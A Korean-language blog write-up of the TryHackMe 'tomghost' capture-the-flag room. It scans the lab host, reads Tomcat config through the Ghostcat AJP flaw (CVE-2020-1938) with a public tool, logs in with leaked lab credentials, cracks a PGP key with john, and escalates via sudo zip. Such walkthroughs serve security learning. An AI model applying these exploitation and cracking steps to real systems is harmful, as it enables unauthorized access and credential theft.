TryHackMe | CTF

TryHackMe | tomghost - CTF 모의해킹

건우Sec 2024. 11. 17. 19:37

 

TASK 1 : Flags

 

1. ANSWER : 머신에 있는 user.txt 파일을 찾으시오

nmap 포트 스캔부터 해주겠습니다

nmap -sV -sC -A 10.10.59.86

 

출력내용

nmap -sV -sC -A 10.10.59.86     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-17 04:09 EST
Nmap scan report for 10.10.59.86
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

 

열린포트

22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
8080/tcp open  http       Apache Tomcat 9.0.30

 

웹페이지에 들어가보겠습니다

 

그냥 기본주소로는 안들어가지는군요

 

8080 포트로 들어가겠습니다

 

아까 8080 포트에서 발견된 Apache Tomcat 이 보입니다

 

추가확인을 위해 gobuster 로 경로파악을 하겠습니다

gobuster dir -u http://10.10.59.86:8080/ -w '/home/kali/Downloads/directory-list-2.3-medium.txt'

 

별다른건 없어서 생략하겠습니다

 

Apache Tomcat 버전이 9.0.30 이라 했습니다

 

9.0.30 버전과 관련된 취약점을 찾아보겠습니다

 

https://github.com/00theway/Ghostcat-CNVD-2020-10487

 

GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) - GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)

github.com

 

Ghostcat 이라는 Tomcat 에 취약점을 발견했습니다

 

이 취약점으로 인해 공격자는 악성코드를 실행할수가 있다 합니다

 

다운로드 해주면

 

 

Ajp Shooter 라는 툴이 뜹니다

 

전 포트에서 8009 포트에 ajp13 이 열려있어

 

8009 포트로 스캔을 진행하면 될거같습니다

python3 ajpShooter.py http://10.10.59.86:8080/ 8009  /WEB-INF/web.xml read

 

성공적으로 출력이 됬습니다

skyfuck:8730281lkjlkjdqlksalks

 

22 포트에 열려있는 ssh 로 로그인해주겠습니다

 

성공적으로 로그인이 됬습니다

cat tryhackme.asc

 

tryhackme.asc 내용을 열어보니 

 

암호화 된 키파일을 확인할수 있었습니다

 

또한 merlin 이라는 사용자 이름도 알아냈습니다

 

merlin 에 사용자 경로로 파일을 탐색해보겠습니다

 

 

이로서 첫번쨰 user.txt 플레그를 획득했습니다

 

2. ANSWER : 머신에서 root.txt 를 획득하시오

user.txt 를 찾을떄 RSA KEY 로 된 파일을 찾았었습니다

 

그키를 ssh2john 으로 클랙해줘야 하는데

 

RSA KEY 를 루트 계정으로 다운로드 받아주겠습니다

scp skyfuck@10.10.59.86:/home/skyfuck/* .
gpg2john tryhackme.asc > key
cat key
내용생략

 

이제 키에서 나온걸 크랙해주겠습니다

john key --wordlist=/usr/share/wordlists/rockyou.txt
alexandru        (tryhackme)

 

복호화 할수있는 키를 얻었으니

 

이제 --decrypt 를 사용하여 credential.pgp 를 크랙해주겠습니다

 

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

 

이제 merlin 에 사용자이름으로 로그인을 해보겠습니다

 

 

현재 사용자 merlin 은 비밀번호 없이 로그인이 가능하며

 

/usr/bin/zip 명령어 에만 해당합니다

 

zip 명령어?

 

https://gtfobins.github.io/

 

GTFOBins

pg Shell File read SUID Sudo

gtfobins.github.io

 

GTFBINS 에 나오는 루트 권한상승 명령어를 찾아보겠습니다

 

검색창에 zip 이라 치면 나옵니다

 

 

 

이 명령어로 권한상승을 진행할수 있을거 같습니다

 

루트전환에 성공적으로 해냈습니다

 

 

end.

 

난이도 : 3/10

한줄평 : 재밌음ㅁㅁ